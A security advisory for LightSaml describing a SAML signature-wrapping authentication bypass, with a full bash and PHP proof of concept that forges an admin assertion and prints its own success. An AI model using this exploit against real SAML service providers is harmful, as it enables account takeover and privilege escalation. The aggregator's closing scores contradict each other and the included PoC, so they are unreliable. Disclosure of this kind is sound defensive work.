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GHSA-w553-pwx6-3mg9

HighCVSS 8.1 / 10
Published Nov 16, 2026·Last modified Nov 16, 2026
Affected Components(2)
Packagist logolitesaml/lightsaml
4.0.0 – 4.7.1
Packagist logolitesaml/lightsaml
5.0.0 – 5.0.1
Description

Summary

LightSaml 5.0.0 (latest release; also confirmed on 4.6.1) validates an inbound samlp:Response by collecting its direct-child saml:Assertion elements and validating each one's ds:Signature via robrichards/xmlseclibs. The two layers disagree on which element a signature actually covers: LightSaml reads claims from the assertion node it collected, while xmlseclibs resolves the signed Reference URI="#id" with a document-wide //*[@Id] XPath that returns the first ID-bearing element anywhere in the document.

An attacker who has captured one genuine signed assertion can exploit this to surface attacker-authored, unsigned claims.

Details

Response::deserialize collects assertions with manyElementsFromXml, whose relative XPath saml:Assertion matches only direct children of the Response. Each collected assertion is validated independently by AssertionSignatureValidatorAction against the out-of-band trusted IdP credential (resolved by Issuer entityId, never from the document):

https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Protocol/Response.php#L122 https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/AbstractSamlModel.php#L93 https://github.com/litesaml/lightsaml/blob/5.0.0/src/Action/Assertion/Inbound/AssertionSignatureValidatorAction.php#L28

The check delegates to xmlseclibs XMLSecurityDSig::validateReference(), which first removes the signature node being validated from the shared document (enveloped-signature removal):

if (! $docElem->isSameNode($this->sigNode)) {
    if ($this->sigNode->parentNode != null) {
        $this->sigNode->parentNode->removeChild($this->sigNode);   // strips sig from shared DOM
    }
}

https://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L596

processRefNode() then resolves URI="#id" document-wide and takes item(0), the first ID-bearing element in the whole document, any name or namespace, not the one inside the signature's own subtree:

$query = '//*['.$iDlist.']';
$dataObject = $xPath->query($query)->item(0);

https://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L525

So the digest target xmlseclibs picks (//*[@Id] item(0), anywhere) which isn't necessarily the one from the previous phase. LightSaml then reads claims (Subject/NameID, Conditions, Attributes) from the node it collected:

https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Assertion/Assertion.php#L288

An example attacker buries the genuine signed bytes (the assertion with its ds:Signature element stripped) inside samlp:Extensions, so it is the first @Id element in document order but not a direct-child assertion. Present one forged direct-child assertion with the same ID, attacker claims, and a verbatim copy of the genuine ds:Signature:

<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
                xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_resp" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
  <saml:Issuer>https://idp.example.com</saml:Issuer>

  <!-- GENUINE signed bytes, buried in Extensions: first @Id document-wide (xmlseclibs picks this),
       but NOT a direct-child assertion (LightSaml ignores it). Signature element removed so the
       enveloped+exc-c14n digest target is the assertion sans Signature. -->
  <samlp:Extensions>
    <saml:Assertion ID="_signed_assertion" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
      <saml:Issuer>https://idp.example.com</saml:Issuer>
      <saml:Subject><saml:NameID>alice@example.com</saml:NameID></saml:Subject>
      <saml:Conditions NotBefore="2024-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z"/>
      <saml:AttributeStatement><saml:Attribute Name="role"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>
    </saml:Assertion>
  </samlp:Extensions>

  <!-- FORGED: the ONLY direct-child assertion LightSaml collects. SAME ID, attacker claims,
       verbatim copy of the genuine ds:Signature. -->
  <saml:Assertion ID="_signed_assertion" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
    <saml:Issuer>https://idp.example.com</saml:Issuer>
    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> ...byte-for-byte copy of the genuine signature... </ds:Signature>
    <saml:Subject><saml:NameID>attacker@evil.com</saml:NameID></saml:Subject>
    <saml:Conditions NotBefore="2040-01-01T00:00:00Z" NotOnOrAfter="2041-01-01T00:00:00Z"/>
    <saml:AttributeStatement><saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>

PoC

#!/usr/bin/env bash
set -euo pipefail
WORK="$(mktemp -d)"; trap 'rm -rf "$WORK"' EXIT; cd "$WORK"
IDP_ENTITY="https://idp.example.com"; ASSERTION_ID="_signed_assertion"

composer require litesaml/lightsaml:5.0.0 --no-interaction --quiet

# trusted IdP key + self-signed cert (out-of-band trust anchor)
openssl req -x509 -newkey rsa:2048 -keyout idp_key.pem -out idp_cert.pem -days 3650 -nodes \
  -subj "/CN=idp.example.com" >/dev/null 2>&1

# genuine Response with one to-be-signed assertion
cat > genuine_tmpl.xml <<XML
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
                xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
                ID="_resp" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
  <saml:Issuer>${IDP_ENTITY}</saml:Issuer>
  <saml:Assertion ID="${ASSERTION_ID}" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
    <saml:Issuer>${IDP_ENTITY}</saml:Issuer>
    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
      <ds:SignedInfo>
        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
        <ds:Reference URI="#${ASSERTION_ID}">
          <ds:Transforms>
            <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
            <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
          </ds:Transforms>
          <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
          <ds:DigestValue></ds:DigestValue>
        </ds:Reference>
      </ds:SignedInfo>
      <ds:SignatureValue></ds:SignatureValue>
    </ds:Signature>
    <saml:Subject><saml:NameID>alice@example.com</saml:NameID></saml:Subject>
    <saml:Conditions NotBefore="2024-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z"/>
    <saml:AttributeStatement>
      <saml:Attribute Name="role"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>
XML

# REAL signature over the genuine assertion (RSA-SHA256, enveloped + exc-c14n)
xmlsec1 --sign --lax-key-search --privkey-pem idp_key.pem \
  --id-attr:ID "urn:oasis:names:tc:SAML:2.0:assertion:Assertion" \
  --output genuine_signed.xml genuine_tmpl.xml >/dev/null

# TAMPER: bury the genuine bytes (signature stripped) in samlp:Extensions as the first @Id element,
# and make the ONLY direct-child assertion a forged one carrying a verbatim copy of the genuine
# signature + attacker claims.
php -r '
$doc = new DOMDocument(); $doc->load("genuine_signed.xml");
$xp = new DOMXPath($doc);
$xp->registerNamespace("saml","urn:oasis:names:tc:SAML:2.0:assertion");
$xp->registerNamespace("ds","http://www.w3.org/2000/09/xmldsig#");
$resp = $doc->documentElement;
$genuine = $xp->query("//saml:Assertion[@ID=\"_signed_assertion\"]")->item(0);
$copiedSig = $doc->saveXML($xp->query("./ds:Signature", $genuine)->item(0));

// buried = genuine clone WITHOUT its signature (the enveloped+exc-c14n digest target)
$buried = $genuine->cloneNode(true);
$buried->removeChild($xp->query("./ds:Signature", $buried)->item(0));

// forged = copied signature + attacker claims (the only direct-child assertion)
$forged =
  "<saml:Assertion xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_signed_assertion\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\">"
  ."<saml:Issuer>https://idp.example.com</saml:Issuer>".$copiedSig
  ."<saml:Subject><saml:NameID>attacker@evil.com</saml:NameID></saml:Subject>"
  ."<saml:Conditions NotBefore=\"2040-01-01T00:00:00Z\" NotOnOrAfter=\"2041-01-01T00:00:00Z\"/>"
  ."<saml:AttributeStatement><saml:Attribute Name=\"role\"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>"
  ."</saml:Assertion>";
$frag = $doc->createDocumentFragment(); $frag->appendXML($forged);

// Extensions(buried genuine) replaces the original assertion (first @Id, doc order); forged appended after
$ext = $doc->createElementNS("urn:oasis:names:tc:SAML:2.0:protocol","samlp:Extensions");
$ext->appendChild($buried);
$resp->replaceChild($ext, $genuine);
$resp->appendChild($frag);
file_put_contents("tampered.xml", $doc->saveXML());
'

# SP consumer: LightSaml real per-assertion validation, pinned cert, requireSignature=true
cat > consumer.php <<'PHP'
<?php
require __DIR__ . '/vendor/autoload.php';
use LightSaml\Action\Assertion\Inbound\AssertionSignatureValidatorAction;
use LightSaml\Context\Profile\{AssertionContext, ProfileContext};
use LightSaml\Credential\{UsageType, X509Certificate, X509Credential};
use LightSaml\Context\Model\DeserializationContext;   // moved from Model\Context in 5.0.0
use LightSaml\Model\Protocol\SamlMessage;
use LightSaml\Resolver\Credential\Factory\CredentialResolverFactory;
use LightSaml\Store\Credential\StaticCredentialStore;
use LightSaml\Validator\Model\Signature\SignatureValidator;
use Psr\Log\NullLogger;

[$_, $xmlPath, $certPath, $idpEntityId] = $argv;
$x509 = new X509Certificate(); $x509->loadPem(file_get_contents($certPath));   // pinned trust anchor
$cred = new X509Credential($x509); $cred->setEntityId($idpEntityId); $cred->setUsageType(UsageType::SIGNING);
$store = new StaticCredentialStore(); $store->add($cred);
$validator = new SignatureValidator((new CredentialResolverFactory($store))->build());
$action = new AssertionSignatureValidatorAction(new NullLogger(), $validator, true); // requireSignature=true

$message = SamlMessage::fromXML(file_get_contents($xmlPath), new DeserializationContext());
$profile = new ProfileContext('profile', ProfileContext::ROLE_SP);
$bypass = false;
echo "assertions LightSaml collected: " . count($message->getAllAssertions()) . "\n";
foreach ($message->getAllAssertions() as $i => $a) {
    $nameId = ($a->getSubject() && $a->getSubject()->getNameID()) ? $a->getSubject()->getNameID()->getValue() : '(none)';
    $attrs = [];
    foreach ($a->getAllAttributeStatements() as $s) foreach ($s->getAllAttributes() as $at)
        $attrs[$at->getName()] = implode(',', array_map(fn($v) => (string)$v, $at->getAllAttributeValues()));
    echo "ASSERTION #$i  NameID=$nameId  Attributes=".json_encode($attrs)."\n";
    $ctx = new AssertionContext(); $ctx->setAssertion($a); $ctx->setParent($profile);
    try { $action->execute($ctx); $r = 'ACCEPTED'; } catch (\Throwable $e) { $r = 'REJECTED: '.$e->getMessage(); }
    echo "  LightSaml validation: $r\n";
    if ($r === 'ACCEPTED' && (strpos($nameId,'evil.com') !== false || ($attrs['role'] ?? '') === 'admin')) {
        $bypass = true; echo "  >>> BYPASS: forged assertion validated AND attacker claims surfaced\n";
    }
}
echo $bypass ? "RESULT: BYPASS CONFIRMED\n" : "RESULT: no bypass\n";
exit($bypass ? 0 : 1);
PHP

php consumer.php tampered.xml idp_cert.pem "$IDP_ENTITY"

Observed output:

assertions LightSaml collected: 1
ASSERTION #0  NameID=attacker@evil.com  Attributes={"role":"admin"}
  LightSaml validation: ACCEPTED
  >>> BYPASS: forged assertion validated AND attacker claims surfaced
RESULT: BYPASS CONFIRMED

Impact

Authentication bypass / privilege escalation. An attacker who has captured one genuine signed assertion (e.g. their own prior login response) can have LightSaml accept a single, fully attacker-authored assertion as IdP-signed.

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Risk Scores
Base Score
8.1

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data.

Threat Intelligence
7.4

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.19%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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